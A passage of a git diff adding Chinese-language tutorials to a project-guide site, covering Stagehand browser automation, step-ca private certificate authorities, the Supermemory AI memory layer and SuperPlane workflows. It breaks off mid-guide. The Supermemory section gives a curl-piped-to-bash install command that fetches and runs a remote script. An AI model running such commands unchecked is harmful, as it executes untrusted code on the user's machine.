+第一次运行时，`act()` 的结果会被存到本地。下次执行同样的操作，直接读取缓存，不调用 LLM。
+
+### 服务端缓存（Browserbase 专用）
+
+```typescript
+const stagehand = new Stagehand({
+  env: "BROWSERBASE",
+  serverCache: true,  // 默认开启
+});
+
+const result = await stagehand.act("click the login button");
+console.log(result.cacheStatus); // "HIT" | "MISS" | undefined
+```
+
+服务端缓存在同一个 Session 内有效，跨请求也能复用。
+
+## 六、完整示例：电商比价脚本
+
+把四个原语串起来，写一个能自动搜索商品、提取价格、对比最低价的脚本：
+
+```typescript
+import { Stagehand } from "@browserbasehq/stagehand";
+import { z } from "zod";
+import "dotenv/config";
+
+async function comparePrices(keyword: string) {
+  const stagehand = new Stagehand({ env: "LOCAL" });
+  await stagehand.init();
+  const page = stagehand.context.pages()[0];
+
+  try {
+    // 第一步：搜索
+    await page.goto("https://www.example-store.com/search");
+    await stagehand.act(`type "${keyword}" into the search box`);
+    await stagehand.act("press Enter");
+
+    // 第二步：等待结果加载
+    await stagehand.act("wait for the product listings to load");
+
+    // 第三步：提取所有商品
+    const products = await stagehand.extract(
+      "extract product name and price from each listing",
+      z.array(
+        z.object({
+          name: z.string(),
+          price: z.number(),
+        })
+      )
+    );
+
+    // 第四步：找出最低价
+    const cheapest = products.reduce((min, p) =>
+      p.price < min.price ? p : min
+    , products[0]);
+
+    console.log(`最便宜的是：${cheapest.name}，价格 $${cheapest.price}`);
+
+    // 第五步：观察是否有优惠券
+    const coupons = await stagehand.observe("find coupon or discount codes");
+    if (coupons.length > 0) {
+      console.log("可用优惠：", coupons.map(c => c.description));
+    }
+  } finally {
+    await stagehand.close();
+  }
+}
+
+comparePrices("无线鼠标");
+```
+
+这个脚本展示了 Stagehand 的典型工作流：导航 → 搜索 → 提取 → 分析 → 观察。每一步都用自然语言描述，不需要维护任何 CSS 选择器。
+
+## 七、与 Playwright / Puppeteer 的关系
+
+Stagehand 不是要取代 Playwright 或 Puppeteer，而是在它们之上加了一层 AI 抽象：
+
+- 底层仍然是 Chromium 浏览器，通过 CDP（Chrome DevTools Protocol）通信。
+- `stagehand.context.pages()[0]` 返回的就是一个标准 Page 对象，你可以混用 Playwright/Puppeteer 的方法。
+- 你可以把 Puppeteer 的 Page 传进 `act()` 的 `page` 选项，Stagehand 会在上面执行 AI 操作。
+
+简单说：**Stagehand 是浏览器自动化的"智能层"**。
+
+## 八、学习建议
+
+1. 先用 `npx create-browser-app` 跑通第一个例子，感受自然语言控制浏览器的效果。
+2. 从 `act()` 开始，试着让它完成几个简单操作（点击、填写、滚动）。
+3. 学习 `extract()` + Zod，体会结构化数据提取的便利。
+4. 最后尝试 `agent()`，看 AI 如何自主完成复杂任务。
+5. 遇到问题时先用 `observe()` 看看页面实际识别到了什么元素。
+
+## 九、参考资料
+
+- 官方文档：https://docs.stagehand.dev
+- GitHub：https://github.com/browserbase/stagehand
+- 社区 Discord：https://stagehand.dev/discord
+- Python 版：https://github.com/browserbase/stagehand-python
diff --git a/src/content/docs/projects/stagehand.md b/src/content/docs/projects/stagehand.md
index 4c76f4d68..9ee0431ed 100644
--- a/src/content/docs/projects/stagehand.md
+++ b/src/content/docs/projects/stagehand.md
@@ -154,7 +154,7 @@ observe 不强制 method 字段存在——这设计让 observe 兼任 "纯发
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
-- [[browser-use]] —— browser-use — 让 LLM 用「DOM 索引清单」操作浏览器的 Python agent 框架
+- [[browser-use]] —— browser-use — 用自然语言让 AI Agent 操控浏览器
 - [[midscene]] —— midscene — 用自然语言代替 selector 的浏览器自动化框架
 - [[nanobrowser]] —— nanobrowser — 把 Chrome 扩展本身当成 AI agent 的运行沙箱
 - [[patchright]] —— patchright — 给 Playwright 打 patch 让浏览器自动化在反 bot 站点继续工作
diff --git a/src/content/docs/projects/starrocks.md b/src/content/docs/projects/starrocks.md
index 1e9d3d056..af144e1ce 100644
--- a/src/content/docs/projects/starrocks.md
+++ b/src/content/docs/projects/starrocks.md
@@ -157,6 +157,7 @@ WHERE dt >= '2026-05-01' GROUP BY dt, city;
 - [[doris]] —— Apache Doris — MySQL 协议 MPP OLAP 数据库
 - [[greenplum-db]] —— Greenplum — Postgres 改的 MPP 数仓
 - [[hindley-milner]] —— Hindley-Milner — 编译器自己猜变量类型
+- [[lakehouse-2021]] —— Lakehouse — 用开放格式统一数据仓库与高级分析
 - [[manticoresearch]] —— Manticore Search — 用 MySQL 协议连的搜索 + OLAP 引擎
 - [[questdb]] —— QuestDB — 高性能时序库
 - [[redash]] —— Redash — 浏览器里写 SQL、出图、做仪表板的开源 BI
diff --git a/src/content/docs/projects/starship.md b/src/content/docs/projects/starship.md
index 007ab196d..2df11fd57 100644
--- a/src/content/docs/projects/starship.md
+++ b/src/content/docs/projects/starship.md
@@ -2,8 +2,8 @@
 title: Starship — 一份配置点亮所有 shell 的 prompt
 来源: https://github.com/starship/starship
 日期: 2026-05-31
-子分类: 命令行工具
-分类: CLI
+子分类: DevOps 与运维
+分类: 基础设施
 难度: 入门
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/projects/steel-browser.md b/src/content/docs/projects/steel-browser.md
index 5ca9de0f8..4b9017977 100644
--- a/src/content/docs/projects/steel-browser.md
+++ b/src/content/docs/projects/steel-browser.md
@@ -163,7 +163,7 @@ cdpService.pluginManager.register(new MyAuthPlugin());
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
-- [[browser-use]] —— browser-use — 让 LLM 用「DOM 索引清单」操作浏览器的 Python agent 框架
+- [[browser-use]] —— browser-use — 用自然语言让 AI Agent 操控浏览器
 - [[fastify]] —— Fastify — 让 schema 替你写校验和序列化的 Node.js 框架
 - [[midscene]] —— midscene — 用自然语言代替 selector 的浏览器自动化框架
 - [[nanobrowser]] —— nanobrowser — 把 Chrome 扩展本身当成 AI agent 的运行沙箱
diff --git a/src/content/docs/projects/step-ca-smallstep.md b/src/content/docs/projects/step-ca-smallstep.md
new file mode 100644
index 000000000..779c3234f
--- /dev/null
+++ b/src/content/docs/projects/step-ca-smallstep.md
@@ -0,0 +1,232 @@
+---
+title: step-ca 零基础入门：自己搭建一个私有证书颁发机构
+来源: https://github.com/smallstep/certificates
+date: 2026-06-13
+category: 网络安全
+subCategory: PKI / TLS
+provenance: pipeline-v3
+分类: 安全与隐私
+子分类: 安全与隐私
+---
+
+# step-ca 零基础入门：自己搭建一个私有证书颁发机构
+
+## 一、从"公章"说起：什么是证书颁发机构（CA）？
+
+想象一下你在一家公司上班。每次你要进入大楼，门卫会检查你的工牌——上面有你的名字、照片和公司公章。如果公章是真的，门卫就放行。
+
+在互联网世界里，"工牌"就是 **TLS 证书**，"公司公章"就是 **证书颁发机构（Certificate Authority, CA）**。
+
+当你访问 `https://google.com` 时，你的浏览器会检查 Google 服务器出示的证书，确认证书是由一个受信任的机构签发的。如果没有这个信任链，浏览器就会弹出"不安全"的警告。
+
+通常大公司花钱向 Let's Encrypt、DigiCert 等公共 CA 申请证书。但如果你有一组内部服务（比如微服务之间的通信、内部 API），用公共 CA 就显得大材小用了。**step-ca 让你能在自己的机器上搭建一个私有 CA，自己给自己签发证书。**
+
+## 二、step-ca 是什么？
+
+step-ca 是 Smallstep Labs 开源的一个在线证书颁发机构服务器，用 Go 编写。它是 `step` CLI 工具的服务器端搭档。
+
+它的核心能力有三块：
+
+1. **X.509 证书颁发**：为 HTTPS 服务器、客户端、容器、Kubernetes Pod 等签发 TLS 证书
+2. **SSH 证书颁发**：替代传统的 `authorized_keys` 文件，用短期 SSH 证书管理登录权限
+3. **ACME 协议支持**：可以当作一个私有的 Let's Encrypt 来用，自动化签发和管理证书
+
+关键特性：签发的证书都是**短期的**（比如几小时到几天），过期自动失效——这叫"被动撤销"，不需要维护复杂的撤销列表。
+
+## 三、核心概念
+
+### 3.1 PKI 两层架构
+
+step-ca 采用**两层 PKI 架构**：
+
+- **根 CA（Root CA）**：离线运行，不直接签发任何证书。就像公司的总公章，锁在保险柜里。
+- **中间 CA（Intermediate CA）**：在线运行，负责实际签发证书。根 CA 的私钥签名确认了中间 CA 的身份。
+
+这种设计的好处是：即使在线的中间 CA 私钥泄露了，根 CA 依然安全，只需吊销中间 CA 并重新生成一个新的就行。
+
+### 3.2 Provisioner（供应者）
+
+Provisioner 是 step-ca 最核心的概念之一。你可以把它理解为**"获取证书的资格证明方式"**。
+
+不同的 Provisioner 对应不同的身份验证方法：
+
+| Provisioner 类型 | 验证什么 | 适合场景 |
+|---|---|---|
+| JWK | 持有加密私钥的人 | 自定义集成、脚本自动化 |
+| OAuth/OIDC | 来自身份提供商的登录令牌 | 员工用公司账号登录获取证书 |
+| ACME | 通过域名控制权验证 | 自动化 HTTPS 证书管理 |
+| X5C | 已有的 X.509 证书 | 跨 PKI 信任传递 |
+| Cloud | 云厂商的身份文档 | AWS/GCP/Azure 虚拟机 |
+
+每个 Provisioner 可以配置不同的证书有效期上限、是否允许 SSH 证书等策略。
+
+### 3.3 短期证书与被动撤销
+
+传统 CA 签发的证书通常有效期 1-2 年，如果要提前作废，需要维护 CRL（证书撤销列表）或使用 OCSP 协议——这些机制复杂且容易被绕过。
+
+step-ca 的做法更简单：**证书本身就很短命**（默认 24 小时）。证书过期即失效，不需要任何撤销操作。这就是"被动撤销"（Passive Revocation）。
+
+## 四、动手实践
+
+### 4.1 初始化 CA
+
+首先安装 `step` CLI 和 `step-ca`（参考官方安装文档）。然后运行初始化命令：
+
+```bash
+step ca init \
+  --name="Example Inc" \
+  --dns="localhost" \
+  --address="127.0.0.1:8443" \
+  --provisioner="bob@example.com" \
+  --password="abc123"
+```
+
+这条命令会做几件事：
+
+1. 生成根 CA 的密钥和证书（存到 `~/.step/secrets/` 和 `~/.step/certs/`）
+2. 生成中间 CA 的密钥和证书（由根 CA 签名）
+3. 创建配置文件 `~/.step/config/ca.json`
+4. 创建一个默认的 JWK Provisioner（名字是 `bob@example.com`）
+
+输出中会显示根证书的指纹（fingerprint），记下来后面要用。
+
+### 4.2 启动 CA 服务器
+
+```bash
+step-ca $(step path)/config/ca.json
+```
+
+输入解密中间 CA 私钥的密码后，CA 就会在 `127.0.0.1:8443` 上监听 HTTPS 请求。
+
+### 4.3 签发第一个证书
+
+让 CA 为一个叫 `localhost` 的服务签发 TLS 证书：
+
+```bash
+step ca certificate localhost srv.crt srv.key
+```
+
+你会看到交互提示，输入 provisioner 密码后，CA 就会签发证书和私钥。签好的证书默认有效期 24 小时。
+
+可以用 `step certificate inspect srv.crt` 查看证书的详细信息：
+
+```
+X.509v3 TLS Certificate (ECDSA P-256)
+  Serial: 4a:3b:...
+  Subject: localhost
+  Issuer:  Example Inc Intermediate CA
+  Valid from: 2026-06-13T10:00:00Z
+           to: 2026-06-14T10:00:00Z
+```
+
+### 4.4 用签发的证书启动 HTTPS 服务
+
+假设有一个简单的 Go 程序 `srv.go`：
+
+```go
+package main
+
+import (
+    "log"
+    "net/http"
+)
+
+func handler(w http.ResponseWriter, req *http.Request) {
+    w.Write([]byte("Hello from step-ca!"))
+}
+
+func main() {
+    http.HandleFunc("/", handler)
+    log.Fatal(http.ListenAndServeTLS(":9443", "srv.crt", "srv.key", nil))
+}
+```
+
+启动后，用 curl 访问（需要先导入根证书到信任库）：
+
+```bash
+curl --cacert $(step path)/certs/root_ca.crt https://localhost:9443
+# 输出: Hello from step-ca!
+```
+
+### 4.5 添加 ACME Provisioner（让 certbot 也能用）
+
+如果你想让 certbot 或其他标准 ACME 客户端也使用这个 CA：
+
+```bash
+# 添加 ACME provisioner
+step ca provisioner add acme --type ACME
+
+# 重启 step-ca 使配置生效
+kill -HUP $(pgrep step-ca)
+```
+
+现在你的 ACME 目录 URL 就是 `https://127.0.0.1:8443/acme/acme/directory`。
+
+用 certbot 获取证书：
+
+```bash
+certbot certonly \
+  --server https://127.0.0.1:8443/acme/acme/directory \
+  --cert-name mysite \
+  -d mysite.local \
+  --http-01-port 8080 \
+  --manual \
+  --preferred-challenges http-01
+```
+
+### 4.6 管理 Provisioner
+
+常用操作：
+
+```bash
+# 列出所有 provisioner
+step ca provisioner list
+
+# 添加一个 OIDC provisioner（对接 Google/Okta 等）
+step ca provisioner add Google --type oidc \
+  --client-id YOUR_CLIENT_ID \
+  --client-secret YOUR_CLIENT_SECRET \
+  --configuration-endpoint https://accounts.google.com/.well-known/openid-configuration
+
+# 修改某个 provisioner 的证书有效期上限
+step ca provisioner update acme \
+  --x509-max-dur=72h \
+  --x509-default-dur=36h
+
+# 删除一个 provisioner
+step ca provisioner remove acme
+```
+
+## 五、step-ca 的典型应用场景
+
+1. **开发环境**：本地微服务之间用 mTLS 通信，不再用自签证书的丑陋警告
+2. **CI/CD 流水线**：在构建容器中自动获取短期证书，构建完自动过期
+3. **Kubernetes**：配合 cert-manager 实现集群内证书自动化
+4. **SSH 统一管理**：用 OIDC 对接公司 SSO，员工离职自动失去 SSH 访问权限
+5. **私有 ACME 服务器**：内网服务需要 HTTPS 但不想依赖公共 CA
+
+## 六、局限性
+
+step-ca 开源版有一些设计上的取舍需要注意：
+
+- 只支持单层中间 CA（不能有多级中间 CA）
+- 根 CA 必须离线（不支持单 Tier 部署）
+- 几乎没有主动撤销能力（CRL/OCSP）
+- 没有 Certificate Transparency（CT）日志集成
+- 不支持 ACME External Account Binding（EAB）
+
+如果需要上述功能，Smallstep 有商业版产品。但对于大多数中小团队的 DevOps 场景，开源版完全够用。
+
+## 七、总结
+
+step-ca 的核心价值在于**把证书管理变成了代码可以交互的 API**。你不再需要手动生成 CSR、等待审批、粘贴证书——一切都可以自动化。加上短期证书的设计理念，安全性比传统 CA 模式更好。
+
+对于想理解 PKI 和 TLS 证书工作原理的学习者来说，自己搭一个 step-ca 是最好的入门方式。从 `step ca init` 到签发第一个证书，整个过程不到 10 分钟，但能帮你建立起对证书信任链的直观理解。
+
+## 参考资料
+
+- GitHub 仓库: https://github.com/smallstep/certificates
+- 官方文档: https://smallstep.com/docs/step-ca
+- 入门教程: https://smallstep.com/docs/step-ca/getting-started
+- Provisioner 文档: https://smallstep.com/docs/step-ca/provisioners
+- ACME 基础: https://smallstep.com/docs/step-ca/acme-basics
diff --git a/src/content/docs/projects/supabase.md b/src/content/docs/projects/supabase.md
index 1a4df8938..499e57f7b 100644
--- a/src/content/docs/projects/supabase.md
+++ b/src/content/docs/projects/supabase.md
@@ -2,7 +2,7 @@
 title: Supabase — Firebase 的开源替代
 来源: https://github.com/supabase/supabase
 日期: 2026-05-29
-子分类: 后端 / BaaS
+子分类: databases-storage
 分类: 后端 API
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/supermemory.md b/src/content/docs/projects/supermemory.md
new file mode 100644
index 000000000..d0b1f6826
--- /dev/null
+++ b/src/content/docs/projects/supermemory.md
@@ -0,0 +1,224 @@
+---
+title: Supermemory — AI 的记忆层
+来源: https://github.com/supermemoryai/supermemory
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Supermemory 是 2025 年上线的 **AI 记忆和上下文引擎**——让 AI 记住你。
+
+日常类比：你跟朋友聊天，聊过的事情下次还能接着说。但大多数 AI 工具像金鱼，每次对话都是"第一次见面"。Supermemory 就是给 AI 装一个外置大脑——你告诉它你的偏好、项目、过去的讨论，下次对话时 AI 自动调取这些记忆，好像从未忘记。
+
+它同时提供三种产品形态：
+- **云端 API**：一个调用搞定记忆、用户画像、RAG 文档搜索
+- **桌面 App**（app.supermemory.ai）：零代码，给 Claude / Cursor 等 AI 工具装记忆插件
+- **本地版**（Supermemory Local）：一条命令跑在自己机器上，支持 Ollama 离线运行
+
+GitHub 26.9k star，在 LongMemEval、LoCoMo、ConvoMem 三大 AI 记忆基准测试全部排名第一。
+
+## 核心概念
+
+### 1. Memory Engine — 从对话中提取事实
+
+AI 不会自动"学会"你的偏好。Supermemory 有一个专门的 **Memory Engine**，它会监控你和 AI 的对话，自动提取有用的事实（"我喜欢 TypeScript"、"我在做权限迁移"），存进你的个人记忆库。
+
+关键是它懂**时间**和**矛盾**：你说"我搬去了旧金山"，它会自动更新之前存的"你住在纽约"。过期的临时信息（"我明天要考试"）会自动遗忘。
+
+### 2. User Profiles — 用户画像，一次调用 ~50ms
+
+传统做法：你需要知道问什么，然后去搜索记忆。Supermemory 反过来——它**持续维护一个用户画像**，分两部分：
+
+- **static（静态）**：长期不变的事实——"高级工程师"、"用 Vim"、"偏好深色模式"
+- **dynamic（动态）**：近期上下文——"正在做认证迁移"、"正在调试限流问题"
+
+一次 `client.profile()` 调用就能拿到两者，~50ms 延迟，直接注入到 AI 的系统提示词里，你的 AI 瞬间知道"你是谁"。
+
+### 3. Hybrid Search — RAG + 记忆合二为一
+
+RAG（检索增强生成）检索的是文档片段——无状态的，所有人查出来结果一样。记忆检索的是**关于你的事实**——个性化的。
+
+Supermemory 把两者合并了：搜一句话，同时返回知识库文档 + 你的个人偏好。
+
+### 4. Connectors — 自动同步外部数据
+
+Google Drive、Gmail、Notion、OneDrive、GitHub，通过 webhook 实时同步。文档自动处理、分块、变得可搜索。你不需要自己搭管道。
+
+## 代码示例
+
+### 示例 1：用 npm 包存储记忆 + 获取用户画像
+
+```typescript
+import Supermemory from "supermemory";
+
+const client = new Supermemory();
+
+// 存一条信息——Supermemory 会自动从中提取记忆
+await client.add({
+  content: "User loves TypeScript and prefers functional patterns",
+  containerTag: "user_123",
+});
+
+// 一次调用：拿到用户画像 + 相关记忆
+const { profile, searchResults } = await client.profile({
+  containerTag: "user_123",
+  q: "What programming style does the user prefer?",
+});
+
+// profile.static  → ["Loves TypeScript", "Prefers functional patterns"]
+// profile.dynamic → ["Working on API integration"]
+// searchResults   → 按相似度排序的记忆结果
+```
+
+核心细节：`containerTag` 是项目隔离标签，相当于"文件夹"，把不同场景的记忆分开。你一个人可以有多套 profile。
+
+### 示例 2：混合搜索 + 本地部署
+
+```typescript
+// 云端版搜索：同时检索知识库文档和个人记忆
+const results = await client.search.memories({
+  q: "how do I deploy?",
+  containerTag: "user_123",
+  searchMode: "hybrid",   // 默认值，RAG + Memory 合在一起
+});
+
+// 仅搜索个人记忆
+const memories = await client.search.memories({
+  q: "user preferences",
+  containerTag: "user_123",
+  searchMode: "memories",
+});
+```
+
+本地部署只需改一个 `baseURL`：
+
+```typescript
+const client = new Supermemory({
+  apiKey: "sm_...",
+  baseURL: "http://localhost:6767", // 本地版监听这个端口
+});
+```
+
+本地版启动方式（一条命令）：
+
+```bash
+curl -fsSL https://supermemory.ai/install | bash
+npx supermemory local
+supermemory-server
+```
+
+首次启动会自动设置内嵌的图引擎、本地嵌入模型和你的凭证，然后打印一个 API key。
+
+## 集成方式一览
+
+Supermemory 提供多种接入路径，从"零代码"到"深度集成"都有：
+
+### 路径 A：MCP 协议（最轻量）
+
+在 Claude Code、Cursor、VS Code 的 MCP 配置里加一行：
+
+```json
+{
+  "mcpServers": {
+    "supermemory": {
+      "url": "https://mcp.supermemory.ai/mcp"
+    }
+  }
+}
+```
+
+装好后 AI 获得三个工具：
+- `memory` — 保存/遗忘信息
+- `recall` — 按查询搜索记忆
+- `context` — 注入完整用户画像到对话开头（在 Cursor/Claude Code 里输入 `/context` 触发）
+
+### 路径 B：框架集成插件
+
+```typescript
+// Vercel AI SDK
+import { withSupermemory } from "@supermemory/tools/ai-sdk";
+const model = withSupermemory(openai("gpt-4o"), {
+  containerTag: "user_123",
+  customId: "conv-1",
+});
+```
+
+支持：Vercel AI SDK、LangChain、LangGraph、OpenAI Agents SDK、Mastra、Agno、n8n 等。
+
+### 路径 C：Python SDK
+
+```python
+from supermemory import Supermemory
+
+client = Supermemory()
+
+client.add(
+    content="User loves TypeScript and prefers functional patterns",
+    container_tag="user_123"
+)
+result = client.profile(container_tag="user_123", q="programming style")
+
+print(result.profile.static)   # 长期事实
+print(result.profile.dynamic)  # 近期上下文
+```
+
+## 踩过的坑
+
+- **容器标签管理**：`containerTag` 用多了会混乱——建议一开始就定好命名规范（比如 `user_{id}` 或 `project_{name}`），否则不同项目的记忆会串
+- **本地版的模型选择**：首次启动有交互式向导选模型，但 Ollama 的模型质量和记忆提取准确率差距很大。`gpt-oss:20b` 是官方推荐底线，太小的模型提取质量不够
+- **API 费用**：云端版免费额度有限，超出后按 token 计费。大量对话或长上下文场景下费用不低——跑本地版能省但牺牲了易用性
+- **多模型一致性**：本地版支持任意 OpenAI 兼容端点，但不同模型对"什么该记/什么该忘"的判断差异很大。同一套对话用 Claude 提取的和用 GPT 提取的，记忆内容可能不同
+- **Connectors 的配置复杂度**：Notion / Google Drive connector 需要 OAuth 授权和 webhook 配置，对新手来说比用 SDK 难得多
+
+## 适用 vs 不适用场景
+
+**适用**：
+- 给 AI 助手/agent 加持久记忆，让它跨会话"认识你"
+- 需要用户画像的 AI SaaS 产品（一个 API 调用拿到静态 + 动态 profile）
+- RAG 文档搜索 + 个人偏好合并的场景
+- 想完全本地化运行的团队（一条命令 + Ollama）
+
+**不适用**：
+- 只需要简单文档检索（纯 RAG）→ 直接用向量数据库更轻
+- 没有"记住用户"需求的工具 → 多此一举
+- 需要自建记忆引擎又不想付费 → Mem0 / Zep 等开源替代
+- 超大规模用户（百万级 DAU）→ 自建分布式方案可能更经济
+
+## 技术栈速查
+
+| 层 | 技术 |
+|---|---|
+| 语言 | TypeScript 65.9%, Python 5.8% |
+| 后端 | Remix + Cloudflare Workers |
+| 数据库 | Postgres + Cloudflare KV |
+| ORM | Drizzle ORM |
+| 构建 | Turborepo + Bun |
+| UI | Vite + Tailwind CSS |
+| 本地版 | 单二进制文件，内嵌图引擎 |
+
+## 学到什么
+
+- **记忆 ≠ RAG**：RAG 是"查文档"，记忆是"记住关于你的事"。Supermemory 把两者合在一起，才是完整的 AI 上下文层
+- **用户画像的价值**：不需要每次搜索，系统持续维护 profile 注入到 system prompt，是 50ms 延迟就能获得的"AI 认识你"的体验
+- **自动遗忘很重要**：大多数 AI 记忆系统只存不删，Supermemory 的时间感知 + 矛盾消解 + 自动过期是实际可用性的关键
+- **一条 baseURL 切换云/本地**：云端和本地共享同一个 API 设计，开发时本地跑，上线切云端，迁移成本为零
+
+## 延伸阅读
+
+- 官方文档：[supermemory.ai/docs](https://supermemory.ai/docs)
+- Quickstart：[Quickstart](https://supermemory.ai/docs/quickstart)
+- 自托管指南：[Self-hosting](https://supermemory.ai/docs/self-hosting/overview)
+- 记忆 vs RAG 详解：[Memory vs RAG](https://supermemory.ai/docs/concepts/memory-vs-rag)
+- MemoryBench 基准测试框架：[MemoryBench](https://supermemory.ai/docs/memorybench/overview)
+- MCP 文档：[Supermemory MCP](https://supermemory.ai/docs/supermemory-mcp/mcp)
+
+## 关联
+
+- [[memgraph]] — 同样是"记忆"相关项目，但图数据库方向的持久化存储
+- [[lancedb]] — 向量数据库，做 RAG 的底层存储层
+- [[chroma]] — 轻量级嵌入向量数据库，适合简单 RAG 场景
+- [[mem0]] — 另一个 AI 记忆层项目，开源可 self-host
+- [[zep]] — 开源 AI 记忆和上下文存储，定位类似
diff --git a/src/content/docs/projects/superplane.md b/src/content/docs/projects/superplane.md
new file mode 100644
index 000000000..c71f37d17
--- /dev/null
+++ b/src/content/docs/projects/superplane.md
@@ -0,0 +1,258 @@
+---
+title: SuperPlane — 开源控制面，让平台工程不再散落
+来源: https://github.com/superplanehq/superplane
+日期: 2026-06-13
+分类: 基础设施
+子分类: DevOps 与运维
+provenance: pipeline-v3
+---
+
+## 一、从"散落的脚本"说起
+
+你有没有经历过这种事：
+
+每次发布代码，你需要手动做一堆事——先看 CI 有没有过，再去检查监控有没有告警，然后等产品经理在 Jira 上点"批准"，最后才去触发部署。每一步都靠 Slack 消息、邮件或口头沟通来确认。
+
+这些流程通常散落在 GitHub Actions 的 YAML 里、Jenkins 的 pipeline 脚本中、运维人员的脑子里。换个新人来，根本不知道发布还需要等那个"下午四点后才能批"的规则。
+
+**SuperPlane 做的事情，就是把这一堆散落的流程，放到一张"画布"上。**
+
+## 二、SuperPlane 是什么
+
+SuperPlane 是一个**开源的控制面（control plane）**，用于**平台工程（platform engineering）**。它让你能够定义和运行**基于事件的自动化工作流**，跨你已经使用的各种工具——Git、CI/CD、可观测性、事件管理、基础设施、通知系统——编排多步骤操作。
+
+一句话总结：**你画一张图，图里的每个节点代表一个动作，动作之间连上线，整个流程就自动跑起来了。**
+
+项目处于 alpha 阶段，Apache 2.0 协议，技术栈涵盖 Go、Python、React，支持 Docker 单节点部署和 Kubernetes 部署。
+
+## 三、核心概念
+
+### 3.1 Canvas（画布）
+
+画布是你设计和运行工作流的地方。它是一张**有向图**——节点代表步骤，连线（subscriptions）代表事件的流动方向。一张画布可以表达多个可能的 Workflow，取决于哪个触发器被激活、事件走哪条路径。
+
+### 3.2 Component（组件）与 Component Node
+
+- **Component** 是一个能力定义，比如"发送 Slack 消息"、"监听 GitHub push 事件"。
+- **Component Node** 是你把组件放到画布上的一个**具体实例**，有自己独立的配置和名称。
+
+类比：Component 像是乐高积木的"标准件图纸"，Node 是你实际搭上去的那一块。
+
+组件分两类：
+
+| 类型 | 作用 | 举例 |
+|------|------|------|
+| Trigger（触发器） | 启动工作流，监听外部事件 | Manual Run、GitHub onPush、Schedule |
+| Action（动作） | 响应上游事件，执行操作 | HTTP Request、Approval、Slack sendMessage |
+
+### 3.3 Payload（载荷）与 Message Chain（消息链）
+
+每个节点执行后都会产出一个 **payload**（JSON 数据）。后续节点可以订阅上游的 payload，并通过 `$` 变量引用它。所有节点输出的 payload 累加起来就形成了一条 **message chain**。
+
+```
+$['Node Name'].data.field         // 访问某个节点的 payload 字段
+$['Node Name'].config.url         // 访问某个节点的运行时配置
+root().data.ref                   // 访问启动这个 run 的根事件
+previous().data.status            // 访问上一个节点的 payload
+```
+
+### 3.4 Run（运行）与 Run Item（运行项）
+
+- **Run Item** 是单个节点的一次执行。比如 GitHub 收到一次 push，就产生一个 run item。
+- **Run** 是一组 run item 及其依赖关系的集合，代表一次完整的工作流执行。
+
+### 3.5 Memory（内存）
+
+SuperPlane 内置了 Memory 功能，用于在多次 run 之间**持久化存储结构化数据**。它按 namespace 组织，支持 Add、Read、Update、Delete、Upsert 五种操作。
+
+典型用途：灰度发布的当前阶段记录、事故处理的上下文接力、去重判断。
+
+### 3.6 Expressions（表达式）
+
+SuperPlane 使用 [Expr](https://expr-lang.org) 作为表达式引擎，支持：
+
+- 标准算术和比较运算符
+- `contains`、`startsWith`、`endsWith`、`matches` 等字符串操作
+- `in` / `not in` 集合判断
+- `??` 空值合并
+- `?.` 可选链
+- `#` 闭包语法处理数组（filter、map、reduce 等）
+- 丰富的内置函数（日期、类型转换、JSON 等）
+
+两种语法场景：
+
+| 场景 | 语法 | 示例 |
+|------|------|------|
+| 文本字段（URL、消息体等） | `{{表达式}}` | `Deployment of {{root().data.ref}} failed` |
+| 条件字段（If、Filter） | 裸表达式 | `$['Get cat fact'].data.body.length <= 160` |
+
+## 四、代码示例
+
+### 示例 1：Hello World — 获取猫咪知识并条件分支
+
+这是官方 quickstart 里的"你好世界"流程，不用连接任何第三方服务：
+
+1. **Manual Run**（触发器）→
+2. **HTTP Request**（获取随机猫咪知识，URL: `https://catfact.ninja/fact`）→
+3. **If**（判断猫咪知识长度是否 ≤ 160）→ 两个 No Operation 节点结束
+
+If 节点的表达式（条件字段，无需 `{{ }}`）：
+
+```
+$['Get cat fact'].data.body.length <= 160
+```
+
+节点输出到 True 分支表示"这条知识很短，可以当推文发"，到 False 分支表示"太长了需要截断"。
+
+### 示例 2：策略控制的灰度发布
+
+这是一个更贴近实际运维的场景：CI 构建通过后，在工作日白天自动部署到生产，非工作时间或周末需要人工审批才能发布。
+
+流程设计：
+
+```
+GitHub onPush → CI Build
+                    ↓（仅 CI passed 时）
+                  If（是否工作日 9-17 点？）
+                  /            \
+              True             False
+                |                |
+          Deploy（自动部署）   Approval（等人工批准）
+                               |
+                           Deploy
+```
+
+If 节点的表达式：
+
+```
+$['GitHub onPush'].data.ref == "refs/heads/main"
+    && hour(now()) >= 9
+    && hour(now()) <= 17
+    && dayOfWeek(now()) >= 1
+    && dayOfWeek(now()) <= 5
+```
+
+### 示例 3：使用 Memory 实现部署进度追踪
+
+在灰度发布场景中，你需要记住"当前发布到了第几步"。Memory 组件就是为此设计的：
+
+**步骤 1：Upsert 当前阶段**
+
+在首次部署时，用 Upsert Memory 组件记录进度：
+
+```
+Namespace: "deployments"
+Key: project = "my-service" AND env = "prod"
+Value:
+  stage: "10_percent"
+  version: {{root().data.build_version}}
+  started_at: now()
+```
+
+**步骤 2：读取并决策**
+
+下次运行工作流时，用 Read Memory 组件检查：
+
+```
+Namespace: "deployments"
+Match: project = "my-service" AND env = "prod"
+Result mode: latest
+```
+
+根据返回的 `stage` 字段决定下一步：
+
+```
+// If 条件字段 — 判断是否需要继续灰度
+$['Read Memory'].data.stage == "10_percent"
+    && $['Health Check'].data.healthy == true
+```
+
+如果满足条件，就推进到 30%；否则回滚。
+
+### 示例 4：事件驱动的首批 5 分钟故障响应
+
+事故发生时，SuperPlane 可以在几分钟内自动收集信息：
+
+```
+PagerDuty onIncident
+        ↓
+  +-----+-----+
+  |           |
+Fetch       Fetch
+Recent      Health
+Deploys     Signals
+  |           |
+  +-----+-----+
+        ↓
+   Merge（汇聚）
+        ↓
+   Claude（AI 生成证据包）
+        ↓
+   Slack sendMessage
+   （发到 #incident 频道）
+```
+
+关键表达式 — 在 Claude 节点中引用之前收集的数据：
+
+```
+"以下是 #{root().data.title} 的证据包：
+最近部署: #($['Fetch Recent Deploys'].data.commits[]?.message ?? "无")
+健康状态: $['Fetch Health Signals'].data.overall
+请立即查看。"
+```
+
+## 五、SuperPlane 的集成生态
+
